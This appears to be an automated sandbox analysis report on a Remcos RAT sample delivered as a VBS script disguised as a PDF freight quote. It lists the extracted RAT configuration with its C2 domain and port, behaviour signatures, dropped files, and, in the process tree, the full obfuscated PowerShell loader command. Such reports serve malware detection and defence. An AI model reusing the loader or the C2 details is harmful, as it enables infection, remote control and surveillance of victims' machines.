Analysis

  • max time kernel
    299s
  • max time network
    290s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/07/2026, 10:44

General

  • Target
    RFQ_Goods_Logistics_LandedCost_20260710_Return_urgent_today-pdf.vbs
  • Size 22KB
  • Sample260710-mszdcaaz2x
  • SHA256 3563a0dd216236d5f6f8bc871afe1f98f5bff78afe2d95f80276906dcdf278e2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.2.6 Pro

Botnet
  • taskhosfw

C2
  • anubixfreedom001.duckdns.org:56793

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-LUL31I

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Suricata alert: REMCOS RAT Malware Inbound C2 Communication 8 IoCs

    Network activity triggered a Suricata alert

  • Suricata alert: REMCOS RAT Malware Outbound C2 Communication 10 IoCs

    Network activity triggered a Suricata alert

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RFQ_Goods_Logistics_LandedCost_20260710_Return_urgent_today-pdf.vbs"
    1⤵
    • Badlisted process makes network request
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2684
    • C:\Windows\System32\Ping.exe
      Ping Mul8668.8668.8668.babe
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Runs ping.exe
      PID:1148
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767-56767;$demaskeringer=10972-4972;function prgnantestes ($autoopretningers140,$mandrels) {$retsloes=discipline(@(103,201,214,231,220,212,212,181,205,213,225,214,211,203,168,218,212,164,161,149,145,165,224,208,229,149,137,209,164,214,197,229,210,209,215,108)) ;Perigastrular ($retsloes)}function discipline ($ratiocinations201) { do {$demaskeringer=$collarman[$fusula%7];$ratiocinations201[$fusula]-=$demaskeringer;$demaskeringer=[char]$ratiocinations201[$fusula];$jt+=$demaskeringer;$fusula++} while ($ratiocinations201[$fusula])$jt}function Perigastrular ($lykka) {&($analyze62) $lykka}Function Ips ($ratiocinations201,$strung=0){$sulphocarbolate=discipline(@(158,171,208,225,227,202,214,183,197,155,173,179,215,211,176,170,194,230,210,155,152,150,220,211,220,219,204,140,103,218,194,231,214,212,199,172,214,194,231,214,212,210,182,154,145,164,150));$laboulbeniaceous=@(Perigastrular ($sulphocarbolate));For($amarin=0; $laboulbeniaceous[$amarin] -ne $juris; $amarin++){$laboulbeniaceous[$amarin] = prgnantestes $laboulbeniaceous[$amarin] $collarman[$amarin%7]}$citronpresser=discipline(@(112,210,208,220,219,133,191,166,208,194,229,200,194,193,103,212,194,213,220,218,208,165,205,207,220,206,200,201,178,221,212));$punners=Perigastrular ($citronpresser);if ($strung) { Perigastrular $punners}else {;$punners}}$collarman=@(67,104,97,115,109,101,100);$analyze62=discipline @(140,173,185);$jestenes='\Sekretariatsmedarbejder.Rep';$spiralled=Ips 'dkZRU0UyDS0MDgQeRSoXSFBDQ1VfYz8IHVtRX2MQV0dWRRY1UlBGX0tUakgmFg4OC2xaUUJdVVVzWUE1BBcBJQcZXFxQVm1Y';$phascolomyidae=Ips 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IF1BUE3UtED0HLFUIHBdEPlcRMz1TRwgHCwkABgIcXAs1RVI=';$katalyzing=Ips 'DhsZHgFXShANEwUIFzwOJCknOTVKdUZR';$vistes=Ips 'BC01';$amarincebound=Ips 'FhsEAUAkAyYGFQ==';$endopleura=Ips 'fQ==';Ips 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg==' 1;Ips 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg==' 1;$phascolomyidae=$oeh[0];Ips 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg==' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1;while (!$rap) {Ips 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg==' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAKJ0BI' 1;Ips 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWc1g=' 1;if ($godkendelsesmyndigheders) {Ips 'GAoYBwg+OR5MBh8CBwUvUgIcCAERIAkVGgILBS9VRRIfCgkiHAgACBcNLQ8EAR5LFiYbERwDFgEBBwUK' 1;Ips 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg==' 1} Ips 'EAQEFh1NUGo=' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1 ;Ips 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw==' 1;$phascolomyidae=$oeh[$slgeligste]}$parthenogenitive=142361;$mislodged=19220;Ips 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg==' 1;Ips 'Zw8NHA8ECHk7FRIDAQUxDAQBXF1QfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag==' 1;Ips 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo=' 1;Ips 'Zw8NHA8ECHkFCAAKFws0G1xXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' 1;Perigastrular $misgrows;"
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2748
  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767-56767;$demaskeringer=10972-4972;function prgnantestes ($autoopretningers140,$mandrels) {$retsloes=discipline(@(103,201,214,231,220,212,212,181,205,213,225,214,211,203,168,218,212,164,161,149,145,165,224,208,229,149,137,209,164,214,197,229,210,209,215,108)) ;Perigastrular ($retsloes)}function discipline ($ratiocinations201) { do {$demaskeringer=$collarman[$fusula%7];$ratiocinations201[$fusula]-=$demaskeringer;$demaskeringer=[char]$ratiocinations201[$fusula];$jt+=$demaskeringer;$fusula++} while ($ratiocinations201[$fusula])$jt}function Perigastrular ($lykka) {&($analyze62) $lykka}Function Ips ($ratiocinations201,$strung=0){$sulphocarbolate=discipline(@(158,171,208,225,227,202,214,183,197,155,173,179,215,211,176,170,194,230,210,155,152,150,220,211,220,219,204,140,103,218,194,231,214,212,199,172,214,194,231,214,212,210,182,154,145,164,150));$laboulbeniaceous=@(Perigastrular ($sulphocarbolate));For($amarin=0; $laboulbeniaceous[$amarin] -ne $juris; $amarin++){$laboulbeniaceous[$amarin] = prgnantestes $laboulbeniaceous[$amarin] $collarman[$amarin%7]}$citronpresser=discipline(@(112,210,208,220,219,133,191,166,208,194,229,200,194,193,103,212,194,213,220,218,208,165,205,207,220,206,200,201,178,221,212));$punners=Perigastrular ($citronpresser);if ($strung) { Perigastrular $punners}else {;$punners}}$collarman=@(67,104,97,115,109,101,100);$analyze62=discipline @(140,173,185);$jestenes='\Sekretariatsmedarbejder.Rep';$spiralled=Ips 'dkZRU0UyDS0MDgQeRSoXSFBDQ1VfYz8IHVtRX2MQV0dWRRY1UlBGX0tUakgmFg4OC2xaUUJdVVVzWUE1BBcBJQcZXFxQVm1Y';$phascolomyidae=Ips 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IF1BUE3UtED0HLFUIHBdEPlcRMz1TRwgHCwkABgIcXAs1RVI=';$katalyzing=Ips 'DhsZHgFXShANEwUIFzwOJCknOTVKdUZR';$vistes=Ips 'BC01';$amarincebound=Ips 'FhsEAUAkAyYGFQ==';$endopleura=Ips 'fQ==';Ips 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg==' 1;Ips 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg==' 1;$phascolomyidae=$oeh[0];Ips 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg==' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1;while (!$rap) {Ips 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg==' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw=' 1;Ips 'ZwkTHAAEECobBAEECwMmGhJdHgAKJ0BI' 1;Ips 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWc1g=' 1;if ($godkendelsesmyndigheders) {Ips 'GAoYBwg+OR5MBh8CBwUvUgIcCAERIAkVGgILBS9VRRIfCgkiHAgACBcNLQ8EAR5LFiYbERwDFgEBBwUK' 1;Ips 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg==' 1} Ips 'EAQEFh1NUGo=' 1;Ips 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA==' 1 ;Ips 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw==' 1;$phascolomyidae=$oeh[$slgeligste]}$parthenogenitive=142361;$mislodged=19220;Ips 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg==' 1;Ips 'Zw8NHA8ECHk7FRIDAQUxDAQBXF1QfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag==' 1;Ips 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo=' 1;Ips 'Zw8NHA8ECHkFCAAKFws0G1xXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' 1;Perigastrular $misgrows;"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2004
    • C:\Windows\SysWOW64\backgroundTaskHost.exe
      "C:\Windows\SysWOW64\backgroundTaskHost.exe"
      2⤵
        PID:4176
      • C:\Windows\SysWOW64\backgroundTaskHost.exe
        "C:\Windows\SysWOW64\backgroundTaskHost.exe"
        2⤵
        • Suricata alert: REMCOS RAT Malware Inbound C2 Communication
        • Suricata alert: REMCOS RAT Malware Outbound C2 Communication
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3848
        • C:\Windows\SysWOW64\backgroundTaskHost.exe
          "C:\Windows\SysWOW64\backgroundTaskHost.exe"
          3⤵
            PID:3832

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 5d57702a0d3c65178478ecdf5ed40da55de9e9b3d4379c50802c729df8e7123d
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_0yw52pha.5p5.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0yw52pha.5p5.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            Sekretariatsmedarbejder.Rep

            • Path C:\Users\Admin\AppData\Roaming\Sekretariatsmedarbejder.Rep
            • Size 210KB
            • SHA256 d771859f0b573448f58a950792e0f630e9ebd0a559d035b3291af2e149720e8f
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2004-39-0x0000000007C50000-0x0000000007C72000-memory.dmp

            memory/2004-38-0x0000000007CF0000-0x0000000007D86000-memory.dmp

            memory/2004-42-0x00000000090A0000-0x000000000D31F000-memory.dmp

            memory/2004-40-0x0000000008AF0000-0x0000000009094000-memory.dmp

            memory/2004-37-0x0000000006D70000-0x0000000006D8A000-memory.dmp

            memory/2004-20-0x0000000002F30000-0x0000000002F66000-memory.dmp

            memory/2004-21-0x0000000005B60000-0x0000000006188000-memory.dmp

            memory/2004-22-0x00000000058A0000-0x00000000058C2000-memory.dmp

            memory/2004-23-0x0000000005A40000-0x0000000005AA6000-memory.dmp

            memory/2004-24-0x0000000006190000-0x00000000061F6000-memory.dmp

            memory/2004-32-0x0000000006240000-0x0000000006594000-memory.dmp

            memory/2004-36-0x0000000007EC0000-0x000000000853A000-memory.dmp

            memory/2004-34-0x0000000006850000-0x000000000686E000-memory.dmp

            memory/2004-35-0x0000000006880000-0x00000000068CC000-memory.dmp

            memory/2748-16-0x000001E336D20000-0x000001E336D30000-memory.dmp

            memory/2748-19-0x000001E336EC0000-0x000001E3370DC000-memory.dmp

            memory/2748-2-0x000001E336D20000-0x000001E336D30000-memory.dmp

            memory/2748-3-0x000001E336D20000-0x000001E336D30000-memory.dmp

            memory/2748-12-0x000001E336D20000-0x000001E336D30000-memory.dmp

            memory/2748-15-0x000001E336D20000-0x000001E336D30000-memory.dmp

            memory/2748-11-0x000001E337250000-0x000001E337272000-memory.dmp

            memory/3848-76-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-68-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-43-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-62-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-61-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-63-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-72-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-66-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-67-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-56-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-65-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-73-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-74-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-75-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-64-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-77-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-78-0x0000000000D40000-0x0000000001F94000-memory.dmp

            memory/3848-79-0x0000000000D40000-0x0000000001F94000-memory.dmp